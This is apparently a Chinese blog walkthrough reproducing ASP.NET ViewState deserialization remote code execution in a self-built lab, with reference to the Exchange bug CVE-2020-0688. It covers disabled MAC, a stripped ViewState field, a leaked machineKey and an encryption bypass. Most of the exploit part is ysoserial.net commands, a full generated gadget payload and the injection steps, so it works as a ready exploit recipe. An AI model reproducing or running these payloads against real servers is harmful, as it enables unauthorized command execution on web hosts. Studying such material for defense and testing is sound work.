ViewState 反序列化
这周有朋友问
碰巧自己也没听说过,问了身边的朋友,大概两三年前就出现了,exchange 的 CVE-2020-0688 也是因为 viewstate 的反序列化,成为第一个能直接在 exchange 服务器上执行命令的漏洞。参考外文的介绍自己搭建环境复现了一下,感觉还是挺有趣的,后续也会对 exchange 的 0688 进行复现。
二、什么是 ViewState?
ViewState 基本上由服务器生成,并以隐藏的表单字段 “__VIEWSTATE” 的形式发送给客户端,用于“POST”请求。当 Web 应用程序进行 POST 请求时,客户端将其发送到服务器。ViewState 以序列化数据的形式出现,当客户端再次进行请求(ViewState)被发送到服务器时,将进行反序列化。
ASP.NET 有各种序列化和反序列化库,称为 formatter ,它序列化对象到字节流,反之亦然(反序列化字节流到对象)。如ObjectStateFormatter、LOSFormatter、BinaryFormatter 等。
ASP.NET 使用 LosFormatter 序列化 ViewState,并将其作为隐藏的表单字段发送到客户端。一旦序列化 ViewState 在 POST 请求期间被发送回服务器,它将使用ObjectStateFormatter 进行反序列化。
为了使 ViewState 不受篡改,存在一个启用 ViewState MAC 的选项,通过设置一个值并在反序列化期间对 ViewState 的值进行完整性检查。
Burp 插件安装
Viewstate 的插件在老版本的 bp 里才有,新版 bp 需要手动去下载安装,在 bp 的 BApp Store 里搜索 ViewState Editor 安装即可。
ysoerial.net 工具地址:
https://github.com/pwntester/ysoserial.net
1、 Target framework ≤4.0 (ViewState Mac is disabled)
修改注册表
(HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft.NETFramework\v4.0.30319),AspNetEnforceViewStateMac 的值修改为 0
准备前端 hello.aspx,内容如下:
`<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" %> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head runat="server"> <title></title> </head> <body> <form id="form1" runat="server"> <asp:TextBox id="TextArea1" TextMode="multiline" Columns="50" Rows="5" runat="server" /> <asp:Button ID="Button1" runat="server" OnClick="Button1_Click" Text="GO" class="btn"/> <br /> <asp:Label ID="Label1" runat="server"></asp:Label> </form> </body> </html>`
hello.aspx.cs 内容:
`using System; using System.Collections.Generic; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; using System.Text.RegularExpressions; using System.Text; using System.IO; public partial class hello : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { } protected override void OnInit(EventArgs e) { base.OnInit(e); } protected void Button1_Click(object sender, EventArgs e) { Label1.Text = TextArea1.Text.ToString(); } }`
访问 hello.aspx 文件发送 post 请求。此时 MAC 验证功能被禁用。
ysoserial 生成 payload
`ysoserial.exe -o base64 -g TypeConfuseDelegate -f LosFormatter -c "echo 7bits666 > C:\Windows\temp\test.txt"`
复制生成的 payload,url 编码一次发送到__viewstate 参数即可反序列化命令执行。
2、When ViewState is removed from the HTTP request
有的场景中,post 请求包里并不会带上__viewstate 参数,但是这样并不是安全的。这里继续使用上面一个场景中的前端代码,修改后端代码如下:
`using System; using System.Collections.Generic; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; using System.Text.RegularExpressions; using System.Text; using System.IO; public class BasePage : System.Web.UI.Page { protected override void Render(HtmlTextWriter writer) { StringBuilder sb = new StringBuilder(); StringWriter sw = new StringWriter(sb); HtmlTextWriter hWriter = new HtmlTextWriter(sw); base.Render(hWriter); string html = sb.ToString(); html = Regex.Replace(html, "<input[^>]*id=\"(__VIEWSTATE)\"[^>]*>", string.Empty, RegexOptions.IgnoreCase); writer.Write(html); } } public partial class hello : BasePage { protected void Page_Load(object sender, EventArgs e) { } protected void Button1_Click(object sender, EventArgs e) { Label1.Text = TextArea1.Text.ToString(); } }`
此时抓包发现,post 数据包里并没有带上VIEWSTATE 的参数。
需要做的事,只需要手动添加上VIEWSTATE 参数,payload 如上一个场景中一样传入,同样可以反序列化成功。
3、framework ≤4.0 (ViewState Mac is enabled)
IIS(.net 4.0)
iis 中开启
设置自动生成密钥后应用。在 web 的根目录下生成 web.config。
假设 MAC 已为 ViewState 启用,并且由于本地文件读取、XXE 等漏洞,我们可以访问带有验证密钥和算法等配置的 web.config 文件,如上所示,我们可以使用 ysoserial.net 和通过提供验证密钥和算法作为参数来生成有效负载。
出于演示的目的,我们使用了具有以下代码库的示例应用程序,并假设由于任何文件读取漏洞,攻击者已经访问了 web.config 文件
`<?xml version="1.0" encoding="UTF-8"?> <configuration> <system.web> <customErrors mode="Off" /> <machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" /> <pages enableViewStateMac="true" enableEventValidation="false" /> </system.web> </configuration>`
注意 web.config 中的 enableViewStateMac="true" //以在 ViewState 中启用 MAC(消息验证码)enableEventValidation="false" //关闭与 ViewState 一起使用的不同加密/验证算法
前端 hello.aspx 文件内容
`<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" %> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head runat="server"> <title></title> </head> <body> <form id="form1" runat="server"> <asp:TextBox id="TextArea1" TextMode="multiline" Columns="50" Rows="5" runat="server" /> <asp:Button ID="Button1" runat="server" OnClick="Button1_Click" Text="GO" class="btn"/> <br /> <asp:Label ID="Label1" runat="server"></asp:Label> </form> </body> </html>`
hello.aspx.cs 文件内容
`using System; using System.Collections.Generic; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; using System.Text.RegularExpressions; using System.Text; using System.IO; public partial class hello : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { } protected override void OnInit(EventArgs e) { base.OnInit(e); } protected void Button1_Click(object sender, EventArgs e) { Label1.Text = TextArea1.Text.ToString(); } }`
访问 hello.aspx 文件,
随便发送内容抓取 post 数据包,可以看到 mac enabled 配置内容, ViewState MAC 已启用。
如果我们注意到下面的 POST 请求,可以看到请求中没有“_VIEWSTATEGENERATOR”参数。此时,我们需要将应用程序路径和路径变量作为参数提供给 ysoserial。
但是,如果我们在 HTTP 请求中有 _VIEWSTATEGENERATOR 参数,我们可以直接将其值提供给 ysoserial 以生成有效负载。
ysoserial生成 payload,这里的--path 需要指定一个服务器上存在的文件,同时--apppath 的虚拟目录也需要注意。
`ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --path="/admin.aspx" --apppath="/" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" --isdebug --islegacy`
执行结果:
`simulateTemplateSourceDirectory returns: / simulateGetTypeName returns: admin_aspx Calculated pageHashCode in uint: 1732672259 Calculated __VIEWSTATEGENERATOR (ignored): 67467B03 /wEy3xEAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAAJi9jIGVjaG8gMTIzID4gYzpcd2luZG93c1x0ZW1wXHRlc3QudHh0BgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgtoJOCD/P8c+Yl+rO9B6VkNhbceOA==`
增加VIEWSTATEGENERATOR=67467B03 至 POST 请求包中,替换VIEWSTATE=参数为生成的 payload,具体如下。
(需要注意的是,ysoserial 生成的 payload 需要进行一次 url 编码再传给__VIEWSTATE 参数)
成功执行命令。
4、Target framework ≤4.0 (Encryption is enabled for ViewState)
在 .NET 4.5 之前,ASP.NET 可以接受来自用户的未加密**VIEWSTATE 参数,即使 ViewStateEncryptionMode 已设置为 Always。
ASP.NET 仅检查请求中是否存在 **VIEWSTATEENCRYPTED 参数。如果删除此参数,并发送未加密的有效载荷,发序列化依旧会触发。
这里一开始访问的文件名为 1.aspx,同时 ysoserial 生成的 payload 的参数也是使用 1.aspx 作为参数--path 的值,但是这样的方式并不能利用成功,反之修改 1.aspx 的文件名为 admin.aspx 则可以正常触发。
也就是数字的文件名无法触发反序列化链,这个问题的产生仍旧没有解决。